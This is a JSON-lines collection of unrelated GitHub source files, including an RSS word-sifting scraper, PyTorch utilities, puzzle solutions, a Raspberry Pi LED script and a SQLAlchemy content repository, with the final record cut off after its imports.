+{"seq_id":"16838893391","text":"#! python3\r\n# ~mikey\r\n#READ\r\n\r\nimport sqlite3\r\nfrom sqlite3 import Error\r\nimport feedparser\r\nfrom bs4 import BeautifulSoup\r\nimport requests\r\n\r\n\r\n\r\nclass Sift:\r\n\tfeed_url = ''\r\n\tconn = None\r\n\tdb = None\r\n\t\r\n##Table Definitions\r\n\r\n\tdef __init__(self, feed,db):\r\n\t\tself.feed_url = feed\r\n\t\tself.db = db\r\n\t\tself.sort_list = []\r\n\t\tself.feed_parse(self.feed_url)\r\n\t\t\r\n\r\n\r\n\r\n\tdef feed_parse(self,feed_url):\r\n\t\twith self.db_connect(self.db) as conn:\r\n\t\t\tself.make_tables(self.conn,\"ship_words\",\t\t\t\t\t\t\t\t#Add Table Name to Table list\r\n\t\t\t\t\t\t\t\t\t \"hyphen_words\",\r\n\t\t\t\t\t\t\t\t\t \"ation_words\",\r\n\t\t\t\t\t\t\t\t\t \"neering_words\",\r\n\t\t\t\t\t\t\t\t\t \"hashtag_words\",\r\n\t\t\t\t\t\t\t\t\t \"hashtag_words\"\r\n\t\t\t\t\t\t\t\t\t\t)\r\n##Source Definitions\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t#Source Def: Getting to a single string of readable words\r\n\t\t\tif 'slashdot' in feed_url[:35]:\t\t\t\t\t\t\t\t#Catch for link\r\n\t\t\t\tprint(\"........Connecting to Slashdot!........\")\r\n\t\t\t\tfor link,entry in self.simple_fp(feed_url):\t\t#Parse feed\r\n\t\t\t\t\tif self.link_in_db(link) == False:\t\t\t#Check DB for link (already processed)\r\n\t\t\t\t\t\tar = self.wordize(entry)\r\n\t\t\t\t\t\tself.exec_sift(link,ar)\r\n\t\t\t\tself.sort_entries()\r\n#I\t\r\n\t\r\n\t\t\telif 'sciencemag' in feed_url[:30]:\r\n\t\t\t\tprint(\"........Connecting to Science magazine!........\")\r\n\t\t\t\tfor link,entry in self.simple_fp(feed_url):\r\n\t\t\t\t\tif self.link_in_db(link) == False:\r\n\t\t\t\t\t\tar = self.wordize(entry)\r\n\t\t\t\t\t\tself.exec_sift(link,ar)\r\n\t\t\t\tself.sort_entries()\r\n\t\r\n\t\r\n\t\t\telif '1Pqsw7njparMZi7B' in feed_url:\r\n\t\t\t\tprint(\"........Connecting to Wired Magazine........\")\r\n\t\t\t\tfor e,z in self.simple_req(feed_url,True):\r\n\t\t\t\t\tif self.link_in_db(e) == False:\t\r\n\t\t\t\t\t\tlink = e\r\n\t\t\t\t\t\tsummary = z[z.find('Search Backchannel Business Culture Gear ')+64:z.rfind(\"Facebook Twitter Pinterest Youtube\")]\r\n\t\t\t\t\t\tif \"You must login or create an account to comment\" in summary:\r\n\t\t\t\t\t\t\tsummary = \"nerp\"\r\n\t\t\t\t\t\tself.exec_sift(link,summary)\r\n\t\t\t\tself.sort_entries()\r\n\t\r\n\t\t\t\r\n\t\t\telif 'fHPzIIzHJVqtIjr3' in feed_url:\r\n\t\t\t\tprint(\"........Connecting to Entrepreneur Magazine........\")\r\n\t\t\t\tfor e,z in self.simple_req(feed_url,True):\r\n\t\t\t\t\tif self.link_in_db(e) == False:\r\n\t\t\t\t\t\tsummary = z[:z.find(\"More from Entrepreneur\")]\r\n\t\t\t\t\t\tif \"contributors are their own.\" in summary:\r\n\t\t\t\t\t\t\tsummary = summary[summary.find(\"contributors are their own.\")+27:]\r\n\t\t\t\t\t\tif \"Disclosure: Our goal is to feature products and servi\" in summary or \"zergnet-widget\" in summary:\r\n\t\t\t\t\t\t\tsummary = \"nerp\"\r\n\t\t\t\t\t\tif \"font-family: 'Trim';\" in summary:\r\n\t\t\t\t\t\t\tsummary = summary[summary.rfind(\"accordance with our Privacy Policy\")+168:]\r\n\t\t\t\t\t\tif \"Subscribe to our email list and be in the know\" in summary:\r\n\t\t\t\t\t\t\tsummary = summary[:summary.find(\" Join The Newsletter\")]\r\n\t\t\t\t\t\tsummary = self.wordize(summary)\t\t\r\n\t\t\t\t\t\tself.exec_sift(e,summary)\r\n\t\t\t\tself.sort_entries()\r\n#S\t\t\r\n\t\t\telif \"https://plato.stanford.edu/rss/sep.xml\" in feed_url:\r\n\t\t\t\tprint(\"........Connecting to The Stanford Philosophy Encyclopedia........\")\r\n\t\t\t\tfor e,z in self.simple_req(feed_url,True):\r\n\t\t\t\t\tif self.link_in_db(e) == False:\r\n\t\t\t\t\t\tz = z[z.rfind(\"BEGIN ARTICLE HTML\"):z.rfind(\"Bibliography\")]\r\n\t\t\t\t\t\tar = self.wordize(z)\r\n\t\t\t\t\t\tself.exec_sift(e,ar)\r\n\t\t\t\tself.sort_entries()\r\n\t\t\t\r\n\t\t\telif 'motherjones' in feed_url[:35]:\r\n\t\t\t\tprint(\"........Connecting to Mother Jones........\")\r\n\t\t\t\tfor e,z in self.simple_req(feed_url, True):\r\n\t\t\t\t\tif self.link_in_db(e) == False:\r\n\t\t\t\t\t\tar = z[z.find(\".entry-header\")+80:z.find(\"Looking for news you can trust?\")]\r\n\t\t\t\t\t\tar = self.wordize(ar)\r\n\t\t\t\t\t\tself.exec_sift(e,ar)\r\n\t\t\t\tself.sort_entries()\r\n\t\t\t\r\n\t\t\telif 'popsci' in feed_url[:35]:\r\n\t\t\t\tprint(\"........Connecting to Popular Science........\")\r\n\t\t\t\tfor e,z in self.simple_fp(feed_url):\r\n\t\t\t\t\tif self.link_in_db(e) == False:\r\n\t\t\t\t\t\tar = self.wordize(z)\r\n\t\t\t\t\t\tself.exec_sift(e,ar)\r\n\t\t\t\tself.sort_entries()\r\n\t\t\t\r\n\t\t\telif \"http://feeds.feedburner.com/tedtalks_video\" in feed_url:\r\n\t\t\t\tprint(\"........Connecting to TED.com RSS for transcript........\")\r\n\t\t\t\tfor e,z in self.simple_fp(feed_url):\r\n\t\t\t\t\tlnk = \"https://www.ted.com/talks\" + e[e.rfind(\"/\"):] + \"/transcript\"\r\n\t\t\t\t\tif self.link_in_db(lnk) == False:\r\n\t\t\t\t\t\tchk = requests.get(lnk)\r\n\t\t\t\t\t\tif chk.ok:\r\n\t\t\t\t\t\t\tar = chk.text\r\n\t\t\t\t\t\t\tar = self.soup_sandwich(ar)\r\n\t\t\t\t\t\t\tar = ar[ar.find(\"Transcript text\")+16:ar.find(\"/Transcript text\")]\r\n\t\t\t\t\t\t\tar = self.wordize(ar)\r\n\t\t\t\t\t\t\tself.exec_sift(lnk,ar)\t\t\t\t\t\t\t\t\r\n\t\t\t\tself.sort_entries()\t\r\n#H\t\t\t\r\n\t\t\t\r\n\t\t\t\t\t\r\n\t\t\t#elif...\r\n\t\t\telse:\r\n\t\t\t\tprint(f\"NO MATCH FOR {feed_url}\",\"\\n\")\r\n\t\t\t\r\n\t\t\t\r\n\t\t\t\r\n##Search Term Definitions\t\t\t\r\n\r\n\tdef ship_words(self,article_words): \t\t\t\t #Article words, a list of words prduced by wordize\r\n\t\tship_except = [] \t\t\t\t \t\t \t\t\t#term except table\r\n\t\tli = []\r\n\t\tfor word in article_words:\r\n\t\t\tif 'ship' in word[-4:]: \t\t\t\t\t\t #Catch Word\r\n\t\t\t\tif word not in ship_except and word not in li: #Filter\r\n\t\t\t\t\tli.append(word) \t\t\t\t\t\t\t\t#Add Word to list\r\n\t\treturn li \t\t\t\t\t\t\t\t\t\t\t\t\t #Return list of words meeting criteria\r\n\t\t\r\n\tdef hyphen_words(self,article_words):\r\n\t\thyphen_except = [\"-\",\"--\",\"---\",\"covid-19\",\"sars-cov-2\"]\r\n\t\tli =[]\r\n\t\tfor word in article_words:\r\n\t\t\tif '-' in word:\r\n\t\t\t\tif word.find('-') == word.rfind('-') and word not in hyphen_except and word not in li:\r\n\t\t\t\t\tif '-' not in word[:1] and '-' not in word[-1:]:\r\n\t\t\t\t\t\tli.append(word)\r\n\t\treturn li\r\n#M\t\r\n\tdef ation_words(self,aw):\r\n\t\tation_except = []\r\n\t\tli = []\r\n\t\tfor word in aw:\r\n\t\t\tif 'ation' in word[-5:]:\r\n\t\t\t\tif word not in ation_except and word not in li:\r\n\t\t\t\t\tli.append(word)\r\n\t\treturn li\r\n\t\t\r\n\tdef neering_words(self,aw):\r\n\t\tneering_except = []\r\n\t\tli = []\r\n\t\tfor word in aw:\r\n\t\t\tif 'neering' in word[-7:]:\r\n\t\t\t\tif word not in neering_except and word not in li:\r\n\t\t\t\t\tli.append(word)\r\n\t\treturn li\r\n\t\r\n\tdef hashtag_words(self,aw):\r\n\t\thashtag_except = [\"#\",]\r\n\t\tli = []\r\n\t\tfor word in aw:\r\n\t\t\tif '#' in word[:1]:\r\n\t\t\t\tif word not in hashtag_except and word not in li:\r\n\t\t\t\t\tli.append(word)\r\n\t\treturn li\r\n\t\r\n#Access Definitions\r\n\tdef simple_fp(self,url,souped = False):\r\n\t\til = []\r\n\t\tfor entry in feedparser.parse(url).entries:\r\n\t\t\tlnk = entry.get('link')\r\n\t\t\tsumm = entry.get('summary')\r\n\t\t\tif souped == True:\r\n\t\t\t\tsumm = self.soup_sandwich(summ)\r\n\t\t\til.append((lnk,summ))\r\n\t\treturn il\r\n#A\t\t\r\n\tdef simple_req(self,url,souped = False):\r\n\t\til = []\r\n\t\tfor entry in feedparser.parse(url).entries:\r\n\t\t\tlnk = entry.get(\"link\")\r\n\t\t\tsumm = requests.get(lnk).text\r\n\t\t\tif souped == True:\r\n\t\t\t\tsumm = self.soup_sandwich(summ)\r\n\t\t\til.append((lnk,summ))\r\n\t\treturn il\r\n\t\t\t\r\n\t\t\t\r\n\t\t\t\r\n\t\t\t\r\n#Filter Definitions\r\n\r\n\tdef wordize(self, ts):\t\t\t\t\t\t\r\n\t\tpuncts = '''!()[]{};:\"\\,<>./?@=$%^&*_~'''\r\n\t\tts = ts.lower()\r\n\t\tfor char in ts:\t\t\t\t\t#remove punctuation\r\n\t\t\tif char in puncts:\r\n\t\t\t\tts = ts.replace(char,\"\")\r\n\t\tg_replace = [(\"\\n\",\" \"),(\"\\xa0\",\" \"),(\"\\t\",\"\")]\r\n\t\tfor c,r in g_replace:\r\n\t\t\tts = ts.replace(c,r)\r\n\t\tli = list(ts.split(\" \"))\r\n\t\tli = [i for i in li if len(i) < 37]\r\n\t\treturn li\t\r\n\r\n\tdef soup_sandwich(self,text_with_html):\r\n\t\tsoup = BeautifulSoup(text_with_html, 'html.parser')\r\n\t\ttext = soup.find_all(text=True)\r\n\t\toutput = ''\r\n\t\tstoplist = ['[document]','noscript','header','html','meta','head', 'input','script']\r\n\t\tfor t in text:\r\n\t\t\tif t.parent.name not in stoplist:\r\n\t\t\t\toutput += f'{t} '\r\n\t\treturn output\r\n\t\t\r\n#E\t\t\r\n\t\t\r\n##Execute Sift\t\r\n\t\r\n\tdef exec_sift(self,link, ar):\r\n\t\tflag = None\r\n\t\tcheck = ((link,\t\t\t\t\t\t#Add search term definition to execute tuple\r\n\t\t\t\t self.ship_words(ar),\r\n\t\t\t\t self.ation_words(ar),\r\n\t\t\t\t self.hyphen_words(ar),\r\n\t\t\t\t self.neering_words(ar),\r\n\t\t\t\t self.hashtag_words(ar)))\r\n\t\tctr = len(check)-1\r\n\t\twhile ctr > 0:\r\n\t\t\tif len(check[ctr]) > 0:\r\n\t\t\t\tflag = True\r\n\t\t\tctr -= 1\r\n\t\tif flag == True:\r\n\t\t\t#print(check)\t\t \r\n\t\t\tself.sort_list.append(check)\t\r\n\t\r\n\tdef db_connect(self, db_file):\r\n\t\tconn = None\r\n\t\ttry:\r\n\t\t\tconn = sqlite3.connect(db_file)\r\n\t\texcept Error as err:\r\n\t\t\tprint(err)\r\n\t\tself.conn = conn\r\n\t\treturn conn\r\n\t\t\r\n##Entry Definitions\t\t\r\n\r\n\tdef sort_entries(self):\r\n\t#\twith self.db_connect(self.db) as conn:\r\n\t\t\t\r\n\t\tfor entry in self.sort_list:\t\r\n\t\t\tprint(entry,\"\\n\")\r\n\t\t\tcur = self.conn.cursor()\r\n\t\t\tcur.execute(\"INSERT INTO links (linkurl) VALUES (?)\",(entry[0],))\r\n\t\t\tself.conn.commit()\r\n\t\t\tlnk_id = cur.lastrowid\r\n\t\t\tif len(entry[1]) > 0:\t\t\t\t\t\t\t\t\t#if a list with items is in this postion in the\ttuple\t\t\t\r\n\t\t\t\tfor word in entry[1]:\r\n\t\t\t\t\tself.enter_words(\"ship_words\",word,lnk_id)\t\t\t#Enter Words into database\r\n\t\t\tif len(entry[2]) > 0:\t\t\t\t\t\t\t\r\n\t\t\t\tfor word in entry[2]:\t\t\t\t\t\t\t\t\t\t##Explicit Term Entry\r\n\t\t\t\t\tself.enter_words(\"ation_words\",word,lnk_id)\r\n\t\t\tif len(entry[3]) > 0: \t\t\r\n\t\t\t\tfor word in entry[3]:\r\n\t\t\t\t\tself.enter_words(\"hyphen_words\",word,lnk_id)\r\n\t\t\tif len(entry[4]) > 0:\r\n\t\t\t\tfor word in entry[4]:\r\n\t\t\t\t\tself.enter_words(\"neering_words\",word,lnk_id)\r\n\t\t\tif len(entry[5]) > 0:\t\t\t\t\t\t\t\t\t\t\t\t\r\n\t\t\t\tfor word in entry[5]:\r\n\t\t\t\t\tself.enter_words(\"hashtag_words\",word,lnk_id)\r\n\t\t\r\n#L\r\n\t\r\n\tdef make_tables(self,conn,*tables):\r\n\t\tif conn is not None:\r\n\t\t\ttry:\r\n\t\t\t\tc = conn.cursor()\r\n\t\t\t\tc.execute('''CREATE TABLE IF NOT EXISTS links (\r\n\t\t\t\t\t\t\t\tlink_id integer PRIMARY KEY,\r\n\t\t\t\t\t\t\t\tlinkurl text NOT NULL\r\n\t\t\t\t\t\t\t\t);''')\r\n\t\t\t\tconn.commit()\r\n\t\t\texcept Error as err:\r\n\t\t\t\tprint(err)\r\n\t\t\t\t\r\n\t\tfor name in tables:\r\n\t\t\tif conn is not None:\r\n\t\t\t\ttry:\r\n\t\t\t\t\tc = conn.cursor()\r\n\t\t\t\t\tc.execute(f'''CREATE TABLE IF NOT EXISTS {name} (\r\n\t\t\t\t\t\t\t\tid integer PRIMARY KEY,\r\n\t\t\t\t\t\t\t\tword text NOT NULL,\r\n\t\t\t\t\t\t\t\tlink_id INTEGER,\r\n\t\t\t\t\t\t\t\tCONSTRAINT fk_links\r\n\t\t\t\t\t\t\t\tFOREIGN KEY (link_id)\r\n\t\t\t\t\t\t\t\tREFERENCES links(link_id)\r\n\t\t\t\t\t\t\t\t);''')\r\n\t\t\t\t\tconn.commit()\r\n\t\t\t\texcept Error as err:\r\n\t\t\t\t\tprint(err)\r\n\t\t\t\ttry:\r\n\t\t\t\t\tc = conn.cursor()\r\n\t\t\t\t\tc.execute(f'''CREATE TABLE IF NOT EXISTS {'dup_'+name} (\r\n\t\t\t\t\t\t\t\tid integer PRIMARY KEY,\r\n\t\t\t\t\t\t\t\tword text NOT NULL,\r\n\t\t\t\t\t\t\t\tnum INTEGER NOT NULL\r\n\t\t\t\t\t\t\t\t);''')\r\n\t\t\t\t\tconn.commit()\r\n\t\t\t\texcept Error as err:\r\n\t\t\t\t\tprint(err)\r\n\t\t\t\r\n\tdef enter_words(self,table, w,lnk_id):\r\n\t\tif self.word_in_table(table,w) is True:\r\n\t\t\tduptb = \"dup_\" + table\r\n\t\t\tif self.word_in_table(duptb,w) is True: # Increment Usage Number\r\n\t\t\t\tcur = self.conn.cursor()\r\n\t\t\t\tcur.execute(f\"SELECT num FROM {duptb} WHERE word = ?\",(w,))\r\n\t\t\t\trows = cur.fetchall()\r\n\t\t\t\tif len(rows) == 1:\r\n\t\t\t\t\tt = rows[0]\r\n\t\t\t\t\tut = t[0] + 1\r\n\t\t\t\t\tself.commit_to_table(f\"UPDATE {duptb} SET num = ? WHERE word = ?\",(ut,w))\r\n\t\t\t\t\r\n\t\t\telse: # First Duplicate\r\n\t\t\t\tself.commit_to_table(f\"INSERT INTO {duptb}(word,num) VALUES (?,?)\",(w,2))\r\n\t\tself.commit_to_table(f\"INSERT INTO {table}(word,link_id) VALUES (?,?)\",(w,lnk_id))\r\n\t\t\r\n\tdef word_in_table(self,table,word):\r\n\t\trows =[]\r\n\t\tcur = self.conn.cursor()\r\n\t\tcur.execute(f\"SELECT (id) FROM {table} WHERE word = ?\",(word,))\r\n\t\trows = cur.fetchall()\r\n\t\tif len(rows) >= 1:\r\n\t\t\treturn True\r\n\t\telse:\r\n\t\t\treturn False\t\r\n\r\n\tdef link_in_db(self,link):\r\n\t\trows = []\r\n\t\tcur = self.conn.cursor()\r\n\t\tcur.execute(\"SELECT link_id FROM links WHERE linkurl = ?\",(link,))\r\n\t\trows = cur.fetchall()\r\n\t\tif len(rows) >= 1:\r\n\t\t\treturn True\r\n\t\telse:\r\n\t\t\treturn False\t\r\n\t\r\n\tdef commit_to_table(self,sql,data):\r\n\t\tcur = self.conn.cursor()\r\n\t\tcur.execute(sql,data)\r\n\t\tself.conn.commit()\r\n\t\t\r\n","repo_name":"Yuiwe-Lab/Scraping","sub_path":"RSS Scraper/sift.py","file_name":"sift.py","file_ext":"py","file_size_in_byte":11005,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"13528498843","text":"from typing import List\n\nimport torch\nfrom torch import nn\n\nNON_BLOCKING_FIELDS = {\"labels_mlm\", \"label\", \"labels\", \"labels_weights\"}\n\n\ndef get_learning_rate(optimizer):\n return optimizer.param_groups[0][\"lr\"]\n\n\ndef batch_to_device(batch, device):\n return {\n k: v.to(device, non_blocking=(device == \"cuda\" and k in NON_BLOCKING_FIELDS))\n if isinstance(v, torch.Tensor)\n else v\n for k, v in batch.items()\n }\n\n\ndef freeze_module(module: nn.Module):\n for param in module.parameters():\n param.requires_grad = False\n\n\ndef freeze_layers(\n roberta: nn.Module,\n freeze_embeddings: bool = False,\n freeze_layer_ids: List[int] = None,\n):\n if freeze_embeddings:\n freeze_module(roberta.embeddings)\n\n if freeze_layer_ids is not None:\n for id_ in freeze_layer_ids:\n freeze_module(roberta.encoder.layer[id_])\n","repo_name":"checkstep/senti-stance","sub_path":"src/stancedetection/util/model_utils.py","file_name":"model_utils.py","file_ext":"py","file_size_in_byte":880,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"70"} +{"seq_id":"99860133","text":"# Advent of code Year 2021 Day 7 solution\n# Author = Andrej Kurusiov\n# Date = December 2021\n\nfrom statistics import median as st_median\nfrom statistics import mean as st_mean\n\n\ndef read_file() -> str:\n with open((__file__.rstrip(\"code.py\")+\"input.txt\"), 'r', encoding=\"utf-8\") as input_file:\n input_data = input_file.read()\n return input_data\n\n\ndef parse_input(input_data: str) -> list:\n # Parces input string to list of integers\n input_list = input_data.split(',')\n return list(map(int, input_list))\n\n\ndef part_1(in_positions: list[int]) -> int:\n \"\"\" Determine the horizontal position that the crabs can align to using the least fuel possible. How much fuel must they spend to align to that position? \"\"\"\n med_position = int(st_median(in_positions))\n fuel_total = sum(abs(med_position - position) for position in in_positions)\n return fuel_total\n\n\nTEST_DATA_1 = '''16,1,2,0,4,2,7,1,2,14'''\n# horizontal position that costs the least fuel is horizontal position 2: costs a total of 37 fuel.\n\n\ndef part_2(in_positions: list[int]) -> int:\n \"\"\" Each change of 1 step in horizontal position costs 1 more unit of fuel than the last: the first step costs 1, the second step costs 2, the third step costs 3, and so on.\"\"\"\n\n mean_position = int(st_mean(in_positions))\n # mean_position = 475 -- depends on rounding manner!\n # arithmetic sum: n*(a1+an)/2\n fuel_total = 0\n for position in in_positions:\n n = abs(mean_position - position)\n fuel_total += n * (1 + n) // 2\n return fuel_total\n\n\nTEST_DATA_2 = TEST_DATA_1\n# in the example above, this becomes 5\n# This costs a total of 168 fuel.\n\n\n# --- MAIN ---\nif __name__ == \"__main__\":\n in_data = read_file()\n # in_data = TEST_DATA_1\n in_data = parse_input(in_data)\n print(\"Part One : \" + str(part_1(in_data)))\n print(\"Part Two : \" + str(part_2(in_data)))\n","repo_name":"andrejkurusiov/advent-of-code","sub_path":"2021/7/code.py","file_name":"code.py","file_ext":"py","file_size_in_byte":1877,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"11125255531","text":"#!/usr/bin/env python\n#########################################################\n# File name: LED_test.py\n# Author: ZDZ\n# Date: 2019/01/15\n#########################################################\nimport RPi.GPIO as GPIO\nimport time\n\nLong_LED = 11 # 远光LED接在pin11\nShort_LED = 12 # 近光LED接在pin12\nOPEN = 0\nCLOSE = 1\ndef setup():\n GPIO.setwarnings(False)\n #GPIO.setmode(GPIO.BCM)\n GPIO.setmode(GPIO.BOARD) # Numbers GPIOs by physical location\n GPIO.setup(Long_LED, GPIO.OUT) # Set pin's mode is output\n GPIO.setup(Short_LED, GPIO.OUT)\n GPIO.output(Long_LED, CLOSE)\n GPIO.output(Short_LED, CLOSE)\ndef loop():\n print(\"twinkle...\")\n while True:\n GPIO.output(Long_LED, CLOSE)\n GPIO.output(Short_LED, OPEN)\n time.sleep(1)\n GPIO.output(Long_LED, OPEN)\n GPIO.output(Short_LED, CLOSE)\n time.sleep(1)\n\ndef destroy():\n GPIO.output(Long_LED, False)\n GPIO.output(Short_LED, False)\n GPIO.cleanup() # Release resource\n\n\nif __name__ == '__main__': # Program start from here\n setup()\n try:\n loop()\n except KeyboardInterrupt: # When 'Ctrl+C' is pressed, the child function destroy() will be executed.\n print(\"stop...\")\n destroy()\n","repo_name":"Dominguez-Z/raspberry_143","sub_path":"历史文件/test/LED_test.py","file_name":"LED_test.py","file_ext":"py","file_size_in_byte":1257,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"18468942012","text":"from typing import Tuple, List\n\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nfrom core.extended_functions import QuadraticFunction\nfrom search.grad import GradDescent, DividePrevStrategy\nfrom utils.matplotlib_utils import draw_grid\n\n\ndef get_point(matrix: np.ndarray, b: np.ndarray, c: float, x: np.ndarray) -> int:\n f = QuadraticFunction(matrix, b, c)\n\n _, iterations = GradDescent().search_with_iterations(f,\n x,\n step_strategy=DividePrevStrategy(f),\n stop_criterion=\"func_margin\",\n eps=1e-3)\n return iterations\n\n\ndef gen_positive_matrix(n: int) -> np.ndarray:\n while True:\n matrix = np.random.random((n, n))\n if np.all(np.linalg.eigvals(matrix) > 0):\n return matrix\n\n\ndef draw_test_grad_util(n: int, points: List[Tuple[float, int]], ax):\n xs, ys = zip(*points)\n ax.scatter(xs, ys, s=10, c=\"black\", edgecolors=\"black\")\n\n ax.set_title(f'n={n}', fontsize=16)\n ax.set_xlabel(\"lambda\", fontsize=12)\n ax.set_ylabel(\"iterations\", fontsize=12)\n\n\ndef draw_one_test_grad(n: int, max_l=50, iterations=500):\n def _draw(ax):\n points = list()\n for i in range(1, iterations):\n matrix = gen_positive_matrix(n)\n b = np.random.random(n) - 0.5\n x = np.random.random(n)\n lambdas = np.abs(np.linalg.eigvals(matrix))\n l = max(lambdas) / min(lambdas)\n if l <= max_l:\n iters = get_point(matrix, b, 0.5, x)\n points.append((l, iters))\n points.sort(key=lambda pair: pair[0])\n draw_test_grad_util(n, points, ax)\n return _draw\n\n\ndef draw_test_grad():\n data = [draw_one_test_grad(n) for n in range(2, 6)]\n draw_grid(data, ncols=2)\n\ndraw_test_grad()\n","repo_name":"aprox13/opt-methods","sub_path":"search/quadratic_form.py","file_name":"quadratic_form.py","file_ext":"py","file_size_in_byte":1941,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"43191712412","text":"from dataclasses import dataclass, field\nfrom typing import Optional\nfrom generali.models.com.generali.enterprise_services.core.gbo.enterprise.agreement.v1.account_manager_involvement_type_account_manager_type import AccountManagerInvolvementTypeAccountManagerType\nfrom generali.models.com.generali.enterprise_services.core.gbo.enterprise.agreement.v1.multinational_fronting_office_role_type import MultinationalFrontingOfficeRoleType\n\n__NAMESPACE__ = \"http://generali.com/enterprise-services/core/gbo/enterprise/agreement/v1\"\n\n\n@dataclass\nclass AccountManagerInvolvementType:\n multinational_fronting_office_role: Optional[MultinationalFrontingOfficeRoleType] = field(\n default=None,\n metadata={\n \"name\": \"MultinationalFrontingOfficeRole\",\n \"type\": \"Element\",\n \"namespace\": \"http://generali.com/enterprise-services/core/gbo/enterprise/agreement/v1\",\n \"required\": True,\n }\n )\n account_manager_type: Optional[AccountManagerInvolvementTypeAccountManagerType] = field(\n default=None,\n metadata={\n \"name\": \"AccountManagerType\",\n \"type\": \"Element\",\n \"namespace\": \"http://generali.com/enterprise-services/core/gbo/enterprise/agreement/v1\",\n \"required\": True,\n }\n )\n","repo_name":"tefra/xsdata-samples","sub_path":"generali/models/com/generali/enterprise_services/core/gbo/enterprise/agreement/v1/account_manager_involvement_type.py","file_name":"account_manager_involvement_type.py","file_ext":"py","file_size_in_byte":1300,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"70"} +{"seq_id":"29100682812","text":"# https://www.acmicpc.net/problem/12933\n\nimport sys\n\ninput = sys.stdin.readline\n\nn = input().rstrip()\n\nword = 'quack'\nvisited = [False] * len(n)\n\ncnt = 0\nfor i in range(len(n)):\n if n[i] == 'q':\n k = 0\n fisrt = True\n for j in range(i, len(n)):\n if n[j] == word[k] and not visited[j]:\n visited[j] = True\n k += 1\n if k == 5:\n k = 0\n if fisrt:\n cnt += 1\n fisrt = False\n\nif False in visited or len(n) % 5 != 0 or cnt == 0:\n print(-1)\nelse:\n print(cnt)\n","repo_name":"Subby02/BOJ","sub_path":"Implement/B12933.py","file_name":"B12933.py","file_ext":"py","file_size_in_byte":516,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"71626883747","text":"from sqlalchemy import (\n Column,\n Integer,\n String,\n ForeignKey,\n Table\n)\nfrom typing import List\nfrom sqlalchemy.orm import relationship\n\nfrom cocoman_recommender.schemas.base_repository import BaseRepository\nfrom cocoman_recommender.schemas.conn import Base\nfrom cocoman_recommender.schemas.ott import Ott\n\ncontents_ott = Table('contents_ott', Base.metadata,\n Column('contents_id', Integer, ForeignKey('TB_CONTENTS.id'), primary_key=True),\n Column('ott_id', Integer, ForeignKey('TB_OTT.id'), primary_key=True)\n )\ncontents_actor = Table('contents_actor', Base.metadata,\n Column('contents_id', Integer, ForeignKey('TB_CONTENTS.id'), primary_key=True),\n Column('actors_id', Integer, ForeignKey('TB_ACTOR.id'), primary_key=True)\n )\ncontents_director = Table('contents_director', Base.metadata,\n Column('contents_id', Integer, ForeignKey('TB_CONTENTS.id'), primary_key=True),\n Column('directors_id', Integer, ForeignKey('TB_DIRECTOR.id'), primary_key=True)\n )\ncontents_genre = Table('contents_genre', Base.metadata,\n Column('contents_id', Integer, ForeignKey('TB_CONTENTS.id'), primary_key=True),\n Column('genres_id', Integer, ForeignKey('TB_GENRE.id'), primary_key=True)\n )\ncontents_keyword = Table('contents_keyword', Base.metadata,\n Column('contents_id', Integer, ForeignKey('TB_CONTENTS.id'), primary_key=True),\n Column('keywords_id', Integer, ForeignKey('TB_KEYWORD.id'), primary_key=True)\n )\n\n\nclass Contents(Base):\n __tablename__ = 'TB_CONTENTS'\n id = Column(Integer, primary_key=True, index=True)\n title = Column(String(length=255), nullable=False)\n year = Column(String(length=255), nullable=False)\n country = Column(String(length=255))\n running_time = Column(Integer)\n grade_rate = Column(String(length=255), nullable=False)\n broadcaster = Column(String(length=255))\n open_date = Column(String(length=255))\n broadcast_date = Column(String(length=255))\n story = Column(String(length=500), nullable=False)\n poster_path = Column(String(length=255))\n ott = relationship('Ott', secondary=contents_ott, lazy='dynamic')\n actors = relationship('Actor', secondary=contents_actor, back_populates='contents_set', lazy='dynamic')\n directors = relationship('Director', secondary=contents_director, back_populates='contents_set', lazy='dynamic')\n genres = relationship('Genre', secondary=contents_genre, back_populates='contents_set', lazy='dynamic')\n keywords = relationship('Keyword', secondary=contents_keyword, back_populates='contents_set', lazy='dynamic')\n\n\nclass ContentsRepository(BaseRepository):\n def __init__(self, session_factory):\n super().__init__(session_factory)\n\n def get_all(self) -> List[Contents]:\n with self.session_factory() as session:\n return session.query(Contents).all()\n\n def get_all_by_ott(self, name) -> List[Contents]:\n with self.session_factory() as session:\n return session.query(Contents).join(Contents.ott).filter(Ott.name == name).all()\n\n def get_by_id(self, id: int):\n with self.session_factory() as session:\n return session.query(Contents).filter(Contents.id == id).one()\n\n def get_by_title(self, title: str):\n with self.session_factory() as session:\n return session.query(Contents).filter(Contents.title == title).one()\n\n def create(self, entity: Contents):\n with self.session_factory() as session:\n session.add(entity)\n session.commit()\n session.refresh(entity)\n return entity\n\n def delete_by_id(self, id: int):\n with self.session_factory() as session:\n session.query(Contents).filter(Contents.id == id).delete(synchronize_session='fetch')\n session.commit()\n\n def update(self, id: int, entity: Contents):\n with self.session_factory() as session:\n content = session.query(Contents).filter(Contents.id == id).one()\n content.title = entity.title\n content.year = entity.year\n content.country = entity.country\n content.running_time = entity.running_time\n content.grade_rate = entity.grade_rate\n content.broadcaster = entity.broadcaster\n content.open_date = entity.open_date\n content.broadcast_date = entity.broadcast_date\n content.story = entity.story\n content.poster_path = entity.poster_path\n content.ott = entity.ott\n content.actors = entity.actors\n content.directors = entity.directors\n content.genres = entity.genres\n content.keywords = entity.keywords\n session.commit()\n\n session.refresh(content)\n return content\n","repo_name":"TEAMOTTDEVELOPERS/cocoman_recommender","sub_path":"cocoman_recommender/schemas/contents.py","file_name":"contents.py","file_ext":"py","file_size_in_byte":5051,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"70"} +{"seq_id":"22791048396","text":"import scorer\nimport cv2\nimport subprocess\nfrom time import sleep\nimport pycurl\n\ndef 